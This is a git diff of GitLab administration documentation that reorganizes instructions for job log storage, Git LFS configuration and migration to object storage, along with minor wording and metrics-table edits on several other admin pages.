-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the
- changes to take effect.
1. Use `rsync` to move job logs from the current location to the new location:
```shell
- sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/to/gitlab-ci/builds`
+ sudo rsync -avzh --remove-source-files --ignore-existing --progress /var/opt/gitlab/gitlab-ci/builds/ /mnt/gitlab-ci/builds/
```
Use `--ignore-existing` so you don't override new job logs with older versions of the same log.
-1. Resume continuous integration data processing by editing `/etc/gitlab/gitlab.rb` and removing the `sidekiq` setting you updated earlier.
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the
- changes to take effect.
+
+1. If you opted to pause the continuous integration data processing, you can
+ start Sidekiq again:
+
+ ```shell
+ sudo gitlab-ctl start sidekiq
+ ```
+
1. Remove the old job logs storage location:
```shell
- sudo rm -rf /var/opt/gitlab/gitlab-ci/builds`
+ sudo rm -rf /var/opt/gitlab/gitlab-ci/builds
```
-**In installations from source:**
+:::TabTitle Self-compiled (source)
+
+1. Optional. If you have existing job logs, pause continuous integration data
+ processing by temporarily stopping Sidekiq:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl stop gitlab-sidekiq
+
+ # For systems running SysV init
+ sudo service gitlab stop
+ ```
-1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines:
+1. Edit `/home/git/gitlab/config/gitlab.yml` to set the new storage location:
```yaml
- gitlab_ci:
- # The location where build logs are stored (default: builds/).
- # Relative paths are relative to Rails.root.
- builds_path: path/to/builds/
+ production: &base
+ gitlab_ci:
+ builds_path: /mnt/gitlab-ci/builds
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+1. Use `rsync` to move job logs from the current location to the new location:
+
+ ```shell
+ sudo rsync -avzh --remove-source-files --ignore-existing --progress /home/git/gitlab/builds/ /mnt/gitlab-ci/builds/
+ ```
+
+ Use `--ignore-existing` so you don't override new job logs with older versions of the same log.
+
+1. If you opted to pause the continuous integration data processing, you can
+ start Sidekiq again:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl start gitlab-sidekiq
+
+ # For systems running SysV init
+ sudo service gitlab start
+ ```
+
+1. Remove the old job logs storage location:
+
+ ```shell
+ sudo rm -rf /home/git/gitlab/builds
```
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes
- to take effect.
+::EndTabs
## Uploading logs to object storage
Archived logs are considered as [job artifacts](job_artifacts.md).
-Therefore, when you [set up the object storage integration](job_artifacts.md#object-storage-settings),
+Therefore, when you [set up the object storage integration](job_artifacts.md#using-object-storage),
job logs are automatically migrated to it along with the other job artifacts.
See "Phase 3: uploading" in [Data flow](#data-flow) to learn about the process.
@@ -118,19 +159,45 @@ There isn't a way to automatically expire old job logs, but it's safe to remove
them if they're taking up too much space. If you remove the logs manually, the
job output in the UI is empty.
-For example, to delete all job logs older than 60 days, run the following from a shell in your GitLab instance:
+For example, to delete all job logs older than 60 days, run the following
+command from a shell in your GitLab instance.
+
+NOTE:
+For the Helm chart, use the storage management tools provided with your object
+storage.
WARNING:
-This command permanently deletes the log files and is irreversible.
+The following command permanently deletes the log files and is irreversible.
+
+::Tabs
+
+:::TabTitle Linux package (Omnibus)
```shell
find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete
```
-NOTE:
-After execution, broken file references can be reported when running
-[`sudo gitlab-rake gitlab:artifacts:check`](raketasks/check.md#uploaded-files-integrity).
-For more information, see [delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts).
+:::TabTitle Docker
+
+Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`:
+
+```shell
+find /srv/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete
+```
+
+:::TabTitle Self-compiled (source)
+
+```shell
+find /home/git/gitlab/shared/artifacts -name "job.log" -mtime +60 -delete
+```
+
+::EndTabs
+
+After the logs are deleted, you can find any broken file references by running
+the Rake task that checks the
+[integrity of the uploaded files](raketasks/check.md#uploaded-files-integrity).
+For more information, see how to
+[delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts).
## Incremental logging architecture
@@ -140,19 +207,48 @@ For more information, see [delete references to missing artifacts](raketasks/che
> - [Recommended for production use with AWS S3](https://gitlab.com/gitlab-org/gitlab/-/issues/273498) in GitLab 13.7.
> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-incremental-logging).
-By default job logs are sent from the GitLab Runner in chunks and cached temporarily on disk
-in `/var/opt/gitlab/gitlab-ci/builds` by Omnibus GitLab. After the job completes,
-a background job archives the job log. The log is moved to `/var/opt/gitlab/gitlab-rails/shared/artifacts/`
-by default, or to object storage if configured.
-
-In a [scaled-out architecture](reference_architectures/index.md) with Rails and Sidekiq running on more than one
-server, these two locations on the file system have to be shared using NFS.
+By default, job logs are sent from the GitLab Runner in chunks and cached
+temporarily on disk. After the job completes, a background job archives the job
+log. The log is moved to the artifacts directory by default, or to object
+storage if configured.
-To eliminate both file system requirements:
+In a [scaled-out architecture](reference_architectures/index.md) with Rails and
+Sidekiq running on more than one server, these two locations on the file system
+have to be shared using NFS, which is not recommended. Instead:
-1. Configure [object storage](job_artifacts.md#object-storage-settings) for storing archived job logs.
+1. Configure [object storage](job_artifacts.md#using-object-storage) for storing archived job logs.
1. [Enable the incremental logging feature](#enable-or-disable-incremental-logging), which uses Redis instead of disk space for temporary caching of job logs.
+### Enable or disable incremental logging
+
+Before you enable the feature flag:
+
+- Review [the limitations of incremental logging](#limitations).
+- [Enable object storage](job_artifacts.md#using-object-storage).
+
+To enable incremental logging:
+
+1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session).
+1. Enable the feature flag:
+
+ ```ruby
+ Feature.enable(:ci_enable_live_trace)
+ ```
+
+ Running jobs' logs continue to be written to disk, but new jobs use
+ incremental logging.
+
+To disable incremental logging:
+
+1. Open a [Rails console](operations/rails_console.md#starting-a-rails-console-session).
+1. Disable the feature flag:
+
+ ```ruby
+ Feature.disable(:ci_enable_live_trace)
+ ```
+
+ Running jobs continue to use incremental logging, but new jobs write to the disk.
+
### Technical details
The data flow is the same as described in the [data flow section](#data-flow)
@@ -178,36 +274,7 @@ Here is the detailed data flow:
### Limitations
- [Redis Cluster is not supported](https://gitlab.com/gitlab-org/gitlab/-/issues/224171).
-- You must configure [object storage for CI/CD artifacts, logs, and builds](job_artifacts.md#object-storage-settings)
+- You must configure [object storage for CI/CD artifacts, logs, and builds](job_artifacts.md#using-object-storage)
before you enable the feature flag. After the flag is enabled, files cannot be written
to disk, and there is no protection against misconfiguration.
- There is [an epic tracking other potential limitations and improvements](https://gitlab.com/groups/gitlab-org/-/epics/3791).
-
-### Enable or disable incremental logging
-
-Incremental logging is under development, but [ready for production use as of GitLab 13.6](https://gitlab.com/groups/gitlab-org/-/epics/4275). It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](feature_flags.md)
-can enable it.
-
-Before you enable the feature flag:
-
-- Review [the limitations of incremental logging](#limitations).
-- [Enable object storage](job_artifacts.md#object-storage-settings).
-
-To enable incremental logging:
-
-```ruby
-Feature.enable(:ci_enable_live_trace)
-```
-
-Running jobs' logs continue to be written to disk, but new jobs use
-incremental logging.
-
-To disable incremental logging:
-
-```ruby
-Feature.disable(:ci_enable_live_trace)
-```
-
-Running jobs continue to use incremental logging, but new jobs write to the disk.
diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md
index cf80b05a5e0..302dc38cf28 100644
--- a/doc/administration/lfs/index.md
+++ b/doc/administration/lfs/index.md
@@ -10,206 +10,335 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.h
This page contains information about configuring Git LFS in self-managed GitLab instances.
For user documentation about Git LFS, see [Git Large File Storage](../../topics/git/lfs/index.md).
-LFS is enabled in GitLab self-managed instances by default.
-
-## Requirements
+Prerequisites:
- Users need to install [Git LFS client](https://git-lfs.github.com) version 1.0.1 or later.
-## Configuration
+## Enable or disable LFS
+
+LFS is enabled by default. To disable it:
+
+::Tabs
+
+:::TabTitle Linux package (Omnibus)
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ # Change to true to enable lfs - enabled by default if not defined
+ gitlab_rails['lfs_enabled'] = false
+ ```
+
+1. Save the file and reconfigure GitLab:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+:::TabTitle Helm chart (Kubernetes)
+
+1. Export the Helm values:
+
+ ```shell
+ helm get values gitlab > gitlab_values.yaml
+ ```
+
+1. Edit `gitlab_values.yaml`:
+
+ ```yaml
+ global:
+ appConfig:
+ lfs:
+ enabled: false
+ ```
+
+1. Save the file and apply the new values:
+
+ ```shell
+ helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab
+ ```
+
+:::TabTitle Docker
+
+1. Edit `docker-compose.yml`:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['lfs_enabled'] = false
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ production: &base
+ lfs:
+ enabled: false
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+::EndTabs
+
+## Change local storage path
Git LFS objects can be large in size. By default, they are stored on the server
GitLab is installed on.
-There are various configuration options to help GitLab server administrators:
+NOTE:
+For Docker installations, you can change the path where your data is mounted.
+For the Helm chart, use
+[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/).
+
+To change the default local storage path location:
-- Enabling/disabling Git LFS support.
-- Changing the location of LFS object storage.
-- Setting up object storage supported by [Fog](https://fog.io/about/provider_documentation.html).
+::Tabs
-### Configuration for Omnibus installations
+:::TabTitle Linux package (Omnibus)
-In `/etc/gitlab/gitlab.rb`:
+1. Edit `/etc/gitlab/gitlab.rb`:
-```ruby
-# Change to true to enable lfs - enabled by default if not defined
-gitlab_rails['lfs_enabled'] = false
+ ```ruby
+ # /var/opt/gitlab/gitlab-rails/shared/lfs-objects by default.
+ gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects"
+ ```
-# Optionally, change the storage path location. Defaults to
-# `#{gitlab_rails['shared_path']}/lfs-objects`. Which evaluates to
-# `/var/opt/gitlab/gitlab-rails/shared/lfs-objects` by default.
-gitlab_rails['lfs_storage_path'] = "/mnt/storage/lfs-objects"
-```
+1. Save the file and reconfigure GitLab:
-After you update settings in `/etc/gitlab/gitlab.rb`, run [Omnibus GitLab reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-### Configuration for installations from source
+:::TabTitle Self-compiled (source)
-In `config/gitlab.yml`:
+1. Edit `/home/git/gitlab/config/gitlab.yml`:
-```yaml
-# Change to true to enable lfs
- lfs:
- enabled: false
- storage_path: /mnt/storage/lfs-objects
-```
+ ```yaml
+ # /home/git/gitlab/shared/lfs-objects by default.
+ production: &base
+ lfs:
+ storage_path: /mnt/storage/lfs-objects
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
+
+::EndTabs
## Storing LFS objects in remote object storage
You can store LFS objects in remote object storage. This allows you
to reduce reads and writes to the local disk, and free up disk space significantly.
-GitLab is tightly integrated with `Fog`, so you can refer to its [documentation](https://fog.io/about/provider_documentation.html)
-to check which storage services can be integrated with GitLab.
-You can also use external object storage in a private local network. For example,
-[MinIO](https://min.io/) is a standalone object storage service that works with GitLab instances.
-[Read more about using object storage with GitLab](../object_storage.md).
-
-NOTE:
In GitLab 13.2 and later, you should use the
[consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration).
-This section describes the earlier configuration format. [Migration steps still apply](#migrating-to-object-storage).
-1. User pushes an `lfs` file to the GitLab instance.
-1. GitLab-workhorse uploads the file directly to the external object storage.
-1. GitLab-workhorse notifies GitLab-rails that the upload process is complete.
+### Migrating to object storage
+
+You can migrate the LFS objects from local storage to object storage. The
+processing is done in the background and requires **no downtime**.
+
+1. [Configure the object storage](../object_storage.md#consolidated-object-storage-configuration).
+1. Migrate the LFS objects:
+
+ ::Tabs
-The following general settings are supported.
+ :::TabTitle Linux package (Omnibus)
-| Setting | Description | Default |
-|---------------------|-------------|---------|
-| `enabled` | Enable/disable object storage. | `false` |
-| `remote_directory` | The bucket name where LFS objects are stored. | |
-| `proxy_download` | Set to true to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | `false` |
-| `connection` | Various connection options described below. | |
+ ```shell
+ sudo gitlab-rake gitlab:lfs:migrate
+ ```
-See [the available connection settings for different providers](../object_storage.md#connection-settings).
+ :::TabTitle Docker
-Here is a configuration example with S3.
+ ```shell
+ sudo docker exec -t <container name> gitlab-rake gitlab:lfs:migrate
+ ```
-### S3 for Omnibus installations
+ :::TabTitle Self-compiled (source)
-On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_`:
+ ```shell
+ sudo -u git -H bundle exec rake gitlab:lfs:migrate RAILS_ENV=production
+ ```
-1. Edit `/etc/gitlab/gitlab.rb` and add the following lines, replacing values based on your needs:
+ ::EndTabs
- ```ruby
- gitlab_rails['lfs_object_store_enabled'] = true
- gitlab_rails['lfs_object_store_remote_directory'] = "lfs-objects"
- gitlab_rails['lfs_object_store_connection'] = {
- 'provider' => 'AWS',
- 'region' => 'eu-central-1',
- 'aws_access_key_id' => '1ABCD2EFGHI34JKLM567N',
- 'aws_secret_access_key' => 'abcdefhijklmnopQRSTUVwxyz0123456789ABCDE',
- # The below options configure an S3 compatible host instead of AWS
- 'host' => 'localhost',
- 'endpoint' => 'http://127.0.0.1:9000',
- 'path_style' => true
- }
+1. Optional. Track the progress and verify that all job LFS objects migrated
+ successfully using the PostgreSQL console.
+ 1. Open a PostgreSQL console:
+
+ ::Tabs
+
+ :::TabTitle Linux package (Omnibus)
+
+ ```shell
+ sudo gitlab-psql
+ ```
+
+ :::TabTitle Docker
+
+ ```shell
+ sudo docker exec -it <container_name> /bin/bash
+ gitlab-psql
+ ```
+
+ :::TabTitle Self-compiled (source)
+
+ ```shell
+ sudo -u git -H psql -d gitlabhq_production
+ ```
+
+ ::EndTabs
+
+ 1. Verify that all LFS files migrated to object storage with the following
+ SQL query. The number of `objectstg` should be the same as `total`:
+
+ ```shell
+ gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects;
+
+ total | filesystem | objectstg
+ ------+------------+-----------
+ 2409 | 0 | 2409
+ ```
+
+1. Verify that there are no files on disk in the `lfs-objects` directory:
+
+ ::Tabs
+
+ :::TabTitle Linux package (Omnibus)
+
+ ```shell
+ sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l
```
-1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage).
- New LFS objects are forwarded to object storage.
+ :::TabTitle Docker
-### S3 for installations from source
+ Assuming you mounted `/var/opt/gitlab` to `/srv/gitlab`:
-For source installations the settings are nested under `lfs:` and then
-`object_store:`:
+ ```shell
+ sudo find /srv/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l
+ ```
-1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following
- lines:
+ :::TabTitle Self-compiled (source)
- ```yaml
- lfs:
- enabled: true
- object_store:
- enabled: false
- remote_directory: lfs-objects # Bucket name
- connection:
- provider: AWS
- aws_access_key_id: 1ABCD2EFGHI34JKLM567N
- aws_secret_access_key: abcdefhijklmnopQRSTUVwxyz0123456789ABCDE
- region: eu-central-1
- # Use the following options to configure an AWS compatible host such as Minio
- host: 'localhost'
- endpoint: 'http://127.0.0.1:9000'
- path_style: true
+ ```shell
+ sudo find /home/git/gitlab/shared/lfs-objects -type f | grep -v tmp | wc -l
```
-1. Save the file, and then [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage).
- New LFS objects are forwarded to object storage.
+ ::EndTabs
-### Migrating to object storage
+### Migrating back to local storage
-**Option 1: Rake task**
+NOTE:
+For the Helm chart, you should use
+[object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/).
-After [configuring the object storage](#storing-lfs-objects-in-remote-object-storage), use the following task to
-migrate existing LFS objects from the local storage to the remote storage.
-The processing is done in a background worker and requires **no downtime**.
+To migrate back to local storage:
-For Omnibus GitLab:
+::Tabs
-```shell
-sudo gitlab-rake "gitlab:lfs:migrate"
-```
+:::TabTitle Linux package (Omnibus)
-For installations from source:
+1. Migrate the LFS objects:
-```shell
-RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:lfs:migrate
-```
+ ```shell
+ sudo gitlab-rake gitlab:lfs:migrate_to_local
+ ```
-You can optionally track progress and verify that all LFS objects migrated successfully using the
-[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+1. Edit `/etc/gitlab/gitlab.rb` and
+ [disable object storage](../object_storage.md#selectively-disabling-object-storage)
+ for LFS objects:
-- `sudo gitlab-rails dbconsole` for Omnibus GitLab 14.1 and earlier.
-- `sudo gitlab-rails dbconsole --database main` for Omnibus GitLab 14.2 and later.
-- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+ ```ruby
+ gitlab_rails['object_store']['objects']['lfs']['enabled'] = false
+ ```
-Verify `objectstg` below (where `store=2`) has count of all LFS objects:
+1. Save the file and reconfigure GitLab:
-```shell
-gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects;
-```
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
-**Example Output**
+:::TabTitle Docker
-```shell
-total | filesystem | objectstg
-------+------------+-----------
- 2409 | 0 | 2409
-```
+1. Migrate the LFS objects:
+
+ ```shell
+ sudo docker exec -t <container name> gitlab-rake gitlab:lfs:migrate_to_local
+ ```
-Verify that there are no files on disk in the `objects` folder:
+1. Edit `docker-compose.yml` and disable object storage for LFS objects:
-```shell
-sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l
-```
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['object_store']['objects']['lfs']['enabled'] = false
+ ```
-**Option 2: Rails console**
+1. Save the file and restart GitLab:
-Log into the Rails console:
+ ```shell
+ docker compose up -d
+ ```
-```shell
-sudo gitlab-rails console
-```
+:::TabTitle Self-compiled (source)
-Upload LFS files manually
+1. Migrate the LFS objects:
-```ruby
-LfsObject.where(file_store: [nil, 1]).find_each do |lfs_object|
- lfs_object.file.migrate!(ObjectStorage::Store::REMOTE) if lfs_object.file.file.exists?
-end
-```
+ ```shell
+ sudo -u git -H bundle exec rake gitlab:lfs:migrate_to_local RAILS_ENV=production
+ ```
-### Migrating back to local storage
+1. Edit `/home/git/gitlab/config/gitlab.yml` and disable object storage for LFS objects:
-To migrate back to local storage:
+ ```yaml
+ production: &base
+ object_store:
+ objects:
+ lfs:
+ enabled: false
+ ```
+
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
+
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
-1. Run `rake gitlab:lfs:migrate_to_local` on your console.
-1. Disable `object_storage` for LFS objects in `gitlab.rb`. Remember to restart GitLab afterwards.
+::EndTabs
## Storage statistics
diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md
index ad89d32183b..83b42295035 100644
--- a/doc/administration/load_balancer.md
+++ b/doc/administration/load_balancer.md
@@ -36,7 +36,7 @@ for details on managing SSL certificates and configuring NGINX.
### Load Balancers terminate SSL without backend SSL
-Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'.
+Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`.
The load balancers is be responsible for managing SSL certificates and
terminating SSL.
@@ -47,7 +47,7 @@ for details.
### Load Balancers terminate SSL with backend SSL
-Configure your load balancers to use the 'HTTP(S)' protocol rather than 'TCP'.
+Configure your load balancers to use the `HTTP(S)` protocol rather than `TCP`.
The load balancers is responsible for managing SSL certificates that
end users see.
diff --git a/doc/administration/logs/tracing_correlation_id.md b/doc/administration/logs/tracing_correlation_id.md
index 906dcd3cea9..45c0ce37102 100644
--- a/doc/administration/logs/tracing_correlation_id.md
+++ b/doc/administration/logs/tracing_correlation_id.md
@@ -133,7 +133,7 @@ You can use the [performance bar](../monitoring/performance/performance_bar.md)
To view the data, the correlation ID of the request must match the same session as the user
viewing the performance bar. For API requests, this means that you must perform the request
-using the session cookie of the signed-in user.
+using the session cookie of the authenticated user.
For example, if you want to view the database queries executed for the following API endpoint:
diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md
index 25dba00beb9..85677512860 100644
--- a/doc/administration/merge_request_diffs.md
+++ b/doc/administration/merge_request_diffs.md
@@ -1,6 +1,6 @@
---
stage: Create
-group: Editor
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md
index 92e9672cdb6..3dec34ebace 100644
--- a/doc/administration/monitoring/performance/grafana_configuration.md
+++ b/doc/administration/monitoring/performance/grafana_configuration.md
@@ -25,9 +25,9 @@ is `admin`.
1. Log in to Grafana as the administration user.
1. Select **Data Sources** from the **Configuration** menu.
-1. Select the **Add data source** button.
+1. Select **Add data source**.
1. Select the required data source type. For example, [Prometheus](../prometheus/index.md#prometheus-as-a-grafana-data-source).
-1. Complete the details for the data source and select the **Save & Test** button.
+1. Complete the details for the data source and select **Save & Test**.
Grafana should indicate the data source is working.
@@ -43,8 +43,8 @@ them:
1. Log in to Grafana as the administration user.
1. Select **Manage** from the **Dashboards** menu.
- 1. Select the **Import** button, then the **Upload JSON file** button.
- 1. Locate the JSON file to import and select **Choose for Upload**. Select the **Import** button.
+ 1. Select **Import**, then **Upload JSON file**.
+ 1. Locate the JSON file to import and select **Choose for Upload**. Select **Import**.
1. After the dashboard is imported, select the **Save dashboard** icon in the top bar.
If you don't save the dashboard after importing it, the dashboard is removed
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index 53ee028bc32..29182077d66 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -153,6 +153,14 @@ The following metrics are available:
| `cached_object_operations_total` | Counter | 15.3 | Total number of objects cached for specific web requests | `controller`, `action` |
| `redis_hit_miss_operations_total` | Counter | 15.6 | Total number of Redis cache hits and misses | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` |
| `redis_cache_generation_duration_seconds` | Histogram | 15.6 | Time to generate Redis cache | `cache_hit`, `caller_id`, `cache_identifier`, `feature_category`, `backing_resource` |
+| `gitlab_diffs_reorder_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spend on reordering of diff files on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_collection_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on querying merge request diff files on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_comparison_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting comparison data on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_unfoldable_positions_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on getting unfoldable note positions on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_unfold_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on unfolding positions on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_write_cache_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on caching highlighted lines and stats on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_highlight_cache_decorate_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on setting highlighted lines from cache on diffs batch request | `controller`, `action` |
+| `gitlab_diffs_render_real_duration_seconds` | Histogram | 15.8 | Duration in seconds spent on serializing and rendering diffs on diffs batch request | `controller`, `action` |
## Metrics controlled by a feature flag
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index 0cae46faf28..6064ae7525e 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -13,7 +13,11 @@ typically much more performant, reliable, and scalable.
## Options
-GitLab has been tested by vendors and customers on a number of object storage providers:
+GitLab is tightly integrated with `Fog`, so you can refer to its
+[documentation](https://fog.io/about/provider_documentation.html) to check
+which storage services can be integrated with GitLab.
+
+Specifically, GitLab has been tested by vendors and customers on a number of object storage providers:
- [Amazon S3](https://aws.amazon.com/s3/)
- [Google Cloud Storage](https://cloud.google.com/storage)
diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md
index 7aeb05457c0..a34b21e676a 100644
--- a/doc/administration/operations/fast_ssh_key_lookup.md
+++ b/doc/administration/operations/fast_ssh_key_lookup.md
@@ -188,7 +188,8 @@ file for the environment, as it isn't generated dynamically.
### Additional documentation
-Additional technical documentation for `gitlab-sshd` may be found on the [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) documentation page.
+Additional technical documentation for `gitlab-sshd` may be found in the
+[GitLab Shell documentation](../../development/gitlab_shell/index.md).
## Troubleshooting
diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md
index 96c1fcc422d..5066f6d99d8 100644
--- a/doc/administration/operations/moving_repositories.md
+++ b/doc/administration/operations/moving_repositories.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
You can move all repositories managed by GitLab to another file system or another server.
-## Moving data within a GitLab instance
+## Moving data in a GitLab instance
The GitLab API is the recommended way to move Git repositories:
@@ -28,10 +28,10 @@ For more information, see:
querying and scheduling group repository moves **(PREMIUM SELF)**.
- [Migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster).
-### Move Repositories
+### Moving Repositories
GitLab repositories can be associated with projects, groups, and snippets. Each of these types
-have a separate API to schedule the respective repositories to move. To move all repositories
+has a separate API to schedule the respective repositories to move. To move all repositories
on a GitLab instance, each of these types must be scheduled to move for each storage.
WARNING:
@@ -41,7 +41,7 @@ To move repositories into a [Gitaly Cluster](../gitaly/index.md#gitaly-cluster)
WARNING:
Repositories can be **permanently deleted** by a call to `/projects/:project_id/repository_storage_moves`
that attempts to move a project already stored in a Gitaly Cluster back into that cluster.
-See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This was fixed in
+See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This issue was fixed in
GitLab 14.3.0 and backported to
[14.2.4](https://about.gitlab.com/releases/2021/09/17/gitlab-14-2-4-released/),
[14.1.6](https://about.gitlab.com/releases/2021/09/27/gitlab-14-1-6-released/),
@@ -59,13 +59,16 @@ To move repositories:
so that the new storages receives all new projects. This stops new projects from being created
on existing storages while the migration is in progress.
1. Schedule repository moves for:
- - [Projects](#bulk-schedule-project-moves).
- - [Snippets](#bulk-schedule-snippet-moves).
- - [Groups](#bulk-schedule-group-moves). **(PREMIUM SELF)**
+ - [All projects](#move-all-projects) or
+ [individual projects](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project).
+ - [All snippets](#move-all-snippets) or
+ [individual snippets](../../api/snippet_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-snippet).
+ - [All groups](#move-all-groups) or
+ [individual groups](../../api/group_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-group). **(PREMIUM SELF)**
-### Bulk schedule project moves
+#### Move all projects
-Use the API to schedule project moves:
+To move all projects by using the API:
1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard)
using the API. For example:
@@ -100,9 +103,9 @@ Use the API to schedule project moves:
1. Repeat for each storage as required.
-### Bulk schedule snippet moves
+#### Move all snippets
-Use the API to schedule snippet moves:
+To move all snippets by using the API:
1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard). For example:
@@ -113,8 +116,8 @@ Use the API to schedule snippet moves:
"https://gitlab.example.com/api/v4/snippet_repository_storage_moves"
```
-1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves)
-The response indicates either:
+1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves).
+ The response indicates either:
- The moves have completed successfully. The `state` field is `finished`.
- The moves are in progress. Re-query the repository move until it completes successfully.
